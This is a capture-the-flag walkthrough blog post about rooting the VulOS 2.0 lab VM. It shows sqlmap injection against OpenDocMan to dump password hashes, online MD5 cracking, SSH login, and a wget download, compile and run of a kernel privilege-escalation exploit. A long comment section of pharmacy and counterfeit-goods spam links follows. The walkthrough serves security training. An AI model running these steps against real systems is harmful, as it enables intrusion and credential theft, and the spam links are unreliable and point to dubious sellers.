Hack the VulOS 2.0 VM (CTF Challenge)

“Your assignment is to pentest a company website, get root of the system and read the final flag” is the only thing we know about this VM other than that is it a smaller one. Therefore without any further ado lets starts by finding our target aka victim.
netdiscover

And now we will run nmap to determine what services are running.

So, the services that running is SSH on 22 ports, HTTP on 80 ports, IRC on 6667.
As port 80 is open that means we can open it in browser.

Now there is link on this webpage. Let’s open it and it will link to the following page.

In this webpage there are various tabs and I explored each tab including their page source and I found nothing except for the last tab i.e. Document. When you look into the page source there will be line saying “jabd0cs/ on the server. Just log in with guest/guest.”
So, I opened the directory and logged in with guest:guest as username:password respectively. And there was an upload option but there was a restriction that you can only upload .doc file so it was pretty useless.
If you observe the log in page there is a cms opendocman v1.2.7. this version of opendocman is vulnerable.

Let’s search metasploit for the exploits to be use against opendocman. And for that type:
searchsploit OpenDocMan 1.2.7

Above is the exploit’s detail. Now we will use sqlmap to find out database of usernames and passwords and for that type:
sqlmap –u ‘http://192.168.0.102/jaabcd0cs/ajax_udf.php?q=1&add_value=odm_user’ –dbs

The sqlmap command will show us all the tables in the database.

Including the username and passwords as shown below.

As you can see that the password is in MD5 hash value. We can crack it online no third party tool is needed. Simply go to www.md5decrypt.org
Password turns outs to be webmin1980 with the username of webmin. As we have username and password we can log in through SSH port. And to log in through SSH open a new terminal in kali anfd type:
And then give the password when asked and you will have a session. Let’s check the version of kernel to see if it vulnerable or not.
lsb_release -a
The version is 14.04 that means it can be exploited and we only need to download its exploit from www.exploit-db.com
Type the following command to download it :
wget https://www.exploit-db.com/download/37292
As the exploit is downloaded, now as always we need to move it then compile it and then run it. And for that the set of commands is :
mv 37292 shell.c
gcc –o shell shell.c
./shell
And voila you have reached root but our challenge is not completed here. We still have to find the flag. Once you have reached root then go into the /root directory :
cd /root
Lets check what files and folders it is holding.
ls
And here you will a flag.txt. Read it!
cat flag.txt

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast

Comments

  • ANaiplyblanync
    Trả lời

    Poids est comment poupe votre sang pousse contre les parois de vos arteres lorsque votre coeur essence pompe le sang. Arteres sont les tubes qui transportent prendre offre sang loin de votre coeur. Chaque temps votre coeur bat, il pompe le sang par de vos arteres a la prendre facilement de votre corps.
    https://www.cialispascherfr24.com/achat-cialis-pour-homme-intense/

  • yeezy
    Trả lời

    I simply wanted to write a small remark to say thanks to you for all the magnificent tricks you are posting on this site. My incredibly long internet research has at the end been rewarded with extremely good points to talk about with my family members. I ‘d admit that most of us visitors are undeniably fortunate to live in a good site with so many brilliant professionals with helpful suggestions. I feel quite fortunate to have encountered your entire weblog and look forward to so many more entertaining minutes reading here. Thank you once again for everything.
    yeezy http://tiny.gl/yzy350

  • nike air presto
    Trả lời

    It抯 onerous to find knowledgeable folks on this subject, however you sound like you know what you抮e talking about! Thanks
    nike air presto http://www.nikeprestos.com

  • james harden shoes
    Trả lời

    Your place is valueble for me. Thanks!?
    james harden shoes http://www.hardenshoes.us.com

  • adidas tubular
    Trả lời

    Can I just say what a relief to search out someone who truly is aware of what theyre speaking about on the internet. You undoubtedly know the right way to deliver a problem to mild and make it important. Extra people have to read this and understand this side of the story. I cant imagine youre no more widespread since you positively have the gift.
    adidas tubular http://www.adidas-tubular.us.com

  • kyrie 3
    Trả lời

    Spot on with this write-up, I actually suppose this web site needs way more consideration. I抣l most likely be again to learn way more, thanks for that info.
    kyrie 3 http://www.kyrie3.us.com

  • ferragamo belt
    Trả lời

    You made some respectable points there. I appeared on the internet for the issue and found most people will go together with along with your website.
    ferragamo belt http://www.ferragamobelt.us.org

  • adidas nmd
    Trả lời

    I not to mention my buddies were actually examining the best recommendations found on your web blog and suddenly came up with an awful suspicion I never thanked you for those secrets. The young boys are already consequently happy to see them and have in effect in reality been loving these things. Many thanks for actually being well kind and for deciding upon certain impressive resources most people are really wanting to learn about. Our own sincere regret for not expressing gratitude to sooner.
    adidas nmd http://cbi.as/8ig0s

  • baseball jerseys
    Trả lời

    Spot on with this write-up, I actually assume this web site wants way more consideration. I抣l most likely be again to read rather more, thanks for that info.
    baseball jerseys http://www.mlbjerseys.in.net

  • Adidas NMD XR1 Camouflage Main Pink
    Trả lời

    I intended to put you one little remark to finally thank you very much yet again on your beautiful basics you have provided on this page. This is so unbelievably open-handed with you to deliver unreservedly exactly what many of us could have sold for an e book to earn some dough for themselves, precisely since you might have tried it in case you considered necessary. These good ideas additionally worked to become a great way to recognize that someone else have the same desire the same as my very own to know the truth way more with reference to this condition. I believe there are numerous more fun periods in the future for folks who look into your site.
    Adidas NMD XR1 Camouflage Main Pink http://www.adidas-nmds.us.com/adidas-nmd-xr1-camouflage-main-pink-p-530.html

  • pandora charms
    Trả lời

    That is the suitable weblog for anyone who needs to seek out out about this topic. You notice a lot its nearly hard to argue with you (not that I really would want匟aHa). You positively put a new spin on a topic thats been written about for years. Nice stuff, simply nice!
    pandora charms http://www.charmspandora.in.net

  • jordan 4
    Trả lời

    There’s noticeably a bundle to find out about this. I assume you made sure nice factors in options also.
    jordan 4 http://www.jordan4.us.com

  • adidas ultra boost 3.0
    Trả lời

    I am often to running a blog and i actually respect your content. The article has really peaks my interest. I’m going to bookmark your site and keep checking for new information.
    adidas ultra boost 3.0 http://www.adidasultraboost.us.org

  • nmd
    Trả lời

    I must get across my passion for your kindness giving support to all those that must have assistance with this important theme. Your special dedication to passing the message around became extraordinarily informative and have really permitted girls like me to realize their dreams. The informative tutorial signifies a great deal to me and further more to my mates. Thanks a lot; from all of us.
    nmd http://www.adidasnmds.com

  • off white x jordan 1
    Trả lời

    An interesting discussion is worth comment. I believe that you need to write extra on this matter, it might not be a taboo subject but generally individuals are not enough to talk on such topics. To the next. Cheers
    off white x jordan 1 http://www.offwhitexjordan1.com

  • nfl store
    Trả lời

    I抎 have to test with you here. Which isn’t one thing I normally do! I take pleasure in studying a publish that may make individuals think. Additionally, thanks for allowing me to comment!
    nfl store http://www.nfljerseysstoreonline.com

  • nike air huarache
    Trả lời

    WONDERFUL Post.thanks for share..extra wait .. ?
    nike air huarache http://www.nikeairhuaraches.com

  • curry 5
    Trả lời

    There are certainly plenty of particulars like that to take into consideration. That is a great point to deliver up. I offer the ideas above as general inspiration however clearly there are questions like the one you convey up where an important factor shall be working in honest good faith. I don?t know if best practices have emerged around things like that, however I am positive that your job is clearly recognized as a fair game. Both boys and girls feel the affect of only a second抯 pleasure, for the remainder of their lives.
    curry 5 http://www.curry5.us

  • nhl jerseys
    Trả lời

    WONDERFUL Post.thanks for share..more wait .. ?
    nhl jerseys http://www.nhljerseys.us.org

  • golden goose
    Trả lời

    I’m often to running a blog and i actually respect your content. The article has actually peaks my interest. I’m going to bookmark your web site and hold checking for new information.
    golden goose http://www.goldengoose-sneakers.com

  • nike flyknit trainer
    Trả lời

    It抯 laborious to find educated individuals on this topic, however you sound like you realize what you抮e speaking about! Thanks
    nike flyknit trainer http://www.nikeflyknit.us.com

  • yeezy shoes
    Trả lời

    Oh my goodness! an amazing article dude. Thank you Nonetheless I am experiencing situation with ur rss . Don抰 know why Unable to subscribe to it. Is there anyone getting similar rss problem? Anyone who knows kindly respond. Thnkx
    yeezy shoes http://www.yeezy-shoes.org

  • tom ford sunglasses
    Trả lời

    The subsequent time I learn a weblog, I hope that it doesnt disappoint me as a lot as this one. I mean, I know it was my choice to read, however I actually thought youd have one thing interesting to say. All I hear is a bunch of whining about something that you possibly can repair in the event you werent too busy in search of attention.
    tom ford sunglasses http://www.tomfordsunglasses.us.org

  • yeezy boost
    Trả lời

    Thanks for each of your efforts on this website. Gloria takes pleasure in managing investigations and it is easy to understand why. A lot of people learn all relating to the compelling way you deliver very important tips and hints by means of this web blog and in addition foster response from some other people on this point then our own child is without question starting to learn so much. Take advantage of the remaining portion of the year. You’re doing a fantastic job.
    yeezy boost http://clickand.co/8f4ec

  • golden goose sneakers
    Trả lời

    There are some fascinating closing dates in this article but I don抰 know if I see all of them heart to heart. There may be some validity but I will take hold opinion till I look into it further. Good article , thanks and we would like more! Added to FeedBurner as effectively
    golden goose sneakers http://www.goldengoose.us.com

  • longchamp handbags
    Trả lời

    Aw, this was a very nice post. In idea I would like to put in writing like this additionally ?taking time and precise effort to make a very good article?however what can I say?I procrastinate alot and under no circumstances seem to get something done.
    longchamp handbags http://www.longchamphandbagsoutlets.com

  • yeezy shoes
    Trả lời

    Aw, this was a very nice post. In concept I want to put in writing like this additionally ?taking time and actual effort to make a very good article?however what can I say?I procrastinate alot and in no way appear to get something done.
    yeezy shoes http://www.yeezy-shoes.ca

  • adidas ultra boost uncaged
    Trả lời

    Thank you so much for giving everyone an exceptionally terrific possiblity to read in detail from here. It is often very superb and packed with a good time for me personally and my office fellow workers to visit your website particularly thrice every week to find out the fresh items you have. And indeed, I’m also at all times fulfilled considering the incredible techniques you give. Selected 4 tips in this post are particularly the best we have all ever had.
    adidas ultra boost uncaged http://qrurl.it/r/1ikni

  • fodboldtrøjer børn
    Trả lời

    Great looking site. Assume you did a great deal of your very own html coding.
    fodboldtrøjer børn http://www.crimsontee.com/

  • Henrietta
    Trả lời

    Hey I am so grateful I found your weblog, I really found you by accident, while I was browsing on Bing for something else, Anyhow I am here now and would just like
    to say kudos for a tremendous post and a all round exciting blog (I also
    love the theme/design), I don’t have time to browse it all at the moment but I have
    bookmarked it and also included your RSS feeds, so when I have
    time I will be back to read more, Please do keep up the fantastic work.

    Billige lazio fodboldtrøjer

  • Shonda
    Trả lời

    I just could not go away your site before suggesting that I actually enjoyed the standard information an individual provide on your guests?
    Is gonna be again steadily to check out new posts

    magliette AC Milan

  • Louisa
    Trả lời

    Remarkable! Its really amazing piece of writing, I have got much clear idea about from this piece of writing.

    maglia Roma poco prezzo

  • Omar
    Trả lời

    This is a topic that’s close to my heart… Take care! Exactly where are your
    contact details though?

    barcelona Fodboldtrøje

  • Judith
    Trả lời

    Wow, that’s what I was seeking for, what a information! present here at
    this blog, thanks admin of this web site.

    Liverpool drakt

  • Lena
    Trả lời

    I was suggested this blog by my cousin. I am not sure whether this post is written by him as no one else know such detailed about my problem.
    You are wonderful! Thanks!

    Liverpool Tröja

  • Shawn
    Trả lời

    This piece of writing gives clear idea in support of
    the new viewers of blogging, that genuinely how to do blogging and site-building.

    Arsenal maglia

  • Dominik
    Trả lời

    Aw, this was a very good post. Finding the time and
    actual effort to make a top notch article… but what can I say…
    I hesitate a whole lot and never seem to get nearly anything done.

    Barcelona tröja

  • Muoi
    Trả lời

    Interesting blog! Is your theme custom made or did you download it from somewhere?

    A theme like yours with a few simple tweeks would really make my blog shine.
    Please let me know where you got your theme.
    Bless you

    Barcelona ny trøje

  • Eloy
    Trả lời

    Appreciate this post. Will try it out.

    roma fotballdrakt

  • Prince
    Trả lời

    It’s going to be finish of mine day, however before finish I am reading this great paragraph to increase my know-how.

    Maglie Milan

  • Tresa
    Trả lời

    For the reason that the admin of this web site is working, no question very shortly it will be famous, due to its quality contents.

    Billige milan fodboldtrøjer

  • maglie calcio poco prezzo
    Trả lời

    Thank you so much for sharing this great webpage.
    maglie calcio poco prezzo http://www.doralcentermall.com/manchester-united-wilson-bambino-maglia-52104

  • Adell
    Trả lời

    Oh my goodness! Awesome article dude! Thanks, However I am going through troubles with your RSS.
    I don’t understand why I cannot subscribe to it.
    Is there anybody getting the same RSS problems? Anyone that knows the solution can you kindly respond?
    Thanx!!

    Monaco fodboldtrøjer

  • Ian
    Trả lời

    Valuable info. Lucky me I discovered your site unintentionally, and I’m stunned
    why this coincidence didn’t came about in advance! I bookmarked it.

    Chelsea tröja

  • Renaldo
    Trả lời

    If some one wishes to be updated with hottest technologies afterward he must be pay a quick visit this website and be up to date every day.

    Liverpool tröja

  • Richard
    Trả lời

    I used to be suggested this website through my cousin. I am now
    not certain whether or not this submit is written by means of him as no one else recognise such specified about my difficulty.
    You are wonderful! Thank you!

    Chelsea kläder

  • Lakesha
    Trả lời

    Hey would you mind letting me know which webhost you’re using?
    I’ve loaded your blog in 3 different internet
    browsers and I must say this blog loads a lot quicker then most.

    Can you recommend a good internet hosting provider at a reasonable price?
    Cheers, I appreciate it!

    Fußballtrikots Kinder Kaufen

  • Monserrate
    Trả lời

    You can certainly see your expertise in the article you
    write. The arena hopes for more passionate writers such as you who are
    not afraid to mention how they believe. Always go after
    your heart.

    maglia Milan bambino

  • Olga
    Trả lời

    Why visitors still make use of to read news papers when in this technological world all is presented on net?

    AC Milan nya tröja

  • Maglia Del napoli
    Trả lời

    Thanks, this site is really valuable.
    Maglia Del napoli http://www.glivytech.com/napoli-regini-pid-156120

  • Juventus tröja
    Trả lời

    Maintain the excellent work and producing in|generating} the crowd!
    Juventus tröja http://www.codkahargeysa.com/Juventustroja-c-552-p-6029

  • maglia Roma
    Trả lời

    Regards for sharing your terrific web-site.
    maglia Roma http://www.haeroo.com/Roma-19/

  • maglia Roma poco prezzo
    Trả lời

    With thanks for sharing your good webpage.
    maglia Roma poco prezzo http://www.theconservatarianreview.com/Roma-44-Defender-Kostas-Manolas-p-6995

  • Everton Tröja
    Trả lời

    Really wished to emphasize I’m delighted I happened on the website page.|
    Everton Tröja http://www.tampabaygoodliving.com/Everton-matchtr%C3%B6ja-p-59618

  • Chelsea tröja
    Trả lời

    Many thanks extremely valuable. Will certainly share site with my good friends.
    Chelsea tröja http://www.afterglowvp.com/Chelsea-fotbollstroja-p-589462.cfm

  • Bayern Munche tröja 2018
    Trả lời

    Thanks, this site is very handy.
    Bayern Munche tröja 2018 http://www.fashionradicalsnews.com/Felix-Gotze-p-82159

  • AUnmassyassist
    Trả lời

    Compression est comment poupe votre sang pousse contre les parois de vos arteres lorsque votre coeur determination pompe le sang. Arteres sont les tubes qui transportent perseverent b gerer offre sang loin de votre coeur. Chaque age votre moelle bat, il pompe le sang a tous egards vos arteres a la flanerie de votre corps.
    https://www.cialispascherfr24.com/achat-cialis-generique-suisse/

  • fußballtrikots
    Trả lời

    Your advice is quite intriguing. sites:ggglese.com
    fußballtrikots http://forum.oeffentlicher-dienst.info/index.php?topic=19935.0

  • AUnmassyassist
    Trả lời

    Pression arterielle est comment poupe votre sang pousse contre les parois de vos arteres lorsque votre coeur determination pompe le sang. Arteres sont les tubes qui transportent prendre offre sang loin de votre coeur. Chaque temps votre coeur bat, il pompe le sang tout au long vos arteres a la prendre facilement de votre corps.
    https://www.cialispascherfr24.com/cialis-prix-pas-cher/

  • adidas ultra boost uncaged
    Trả lời

    I precisely desired to thank you so much all over again. I’m not certain what I would have used in the absence of those ideas shared by you over that topic. It was a real depressing condition for me personally, but observing this well-written avenue you treated it made me to cry over delight. I will be happy for the assistance as well as trust you find out what a powerful job you happen to be getting into educating many people using your blog post. I know that you’ve never come across all of us.
    adidas ultra boost uncaged http://bit.ly/2sNI8PI

  • yeezy boost 350
    Trả lời

    I would like to show thanks to this writer just for bailing me out of this setting. As a result of exploring throughout the world wide web and seeing methods which are not helpful, I thought my life was over. Being alive devoid of the answers to the difficulties you’ve resolved through your good guide is a critical case, as well as ones which could have in a negative way damaged my entire career if I had not noticed your blog post. Your own personal knowledge and kindness in maneuvering a lot of stuff was excellent. I’m not sure what I would have done if I hadn’t discovered such a step like this. I’m able to at this moment look forward to my future. Thanks a lot very much for this high quality and result oriented help. I will not hesitate to recommend the blog to any individual who requires direction about this situation.
    yeezy boost 350 http://www.yeezy-boost350.us.com

  • adidas ultra boost
    Trả lời

    I must show my appreciation to this writer for rescuing me from such a situation. As a result of looking throughout the the net and obtaining advice which are not helpful, I assumed my life was done. Living minus the solutions to the issues you have fixed all through your good review is a serious case, and the ones that might have badly damaged my career if I had not noticed your blog. Your own personal talents and kindness in playing with all the stuff was tremendous. I’m not sure what I would’ve done if I hadn’t come across such a solution like this. I am able to at this time look ahead to my future. Thank you so much for your specialized and results-oriented help. I won’t hesitate to propose your web blog to anyone who wants and needs direction on this topic.
    adidas ultra boost http://chilp.it/38a5056

  • yeezy boost 350
    Trả lời

    I truly wanted to make a small remark so as to thank you for all of the marvelous pointers you are posting at this website. My time intensive internet search has at the end been paid with professional facts to exchange with my partners. I would tell you that we site visitors are rather endowed to be in a decent site with very many special people with helpful guidelines. I feel somewhat grateful to have seen the website and look forward to really more entertaining times reading here. Thanks once more for everything.
    yeezy boost 350 http://catb.in/hIOD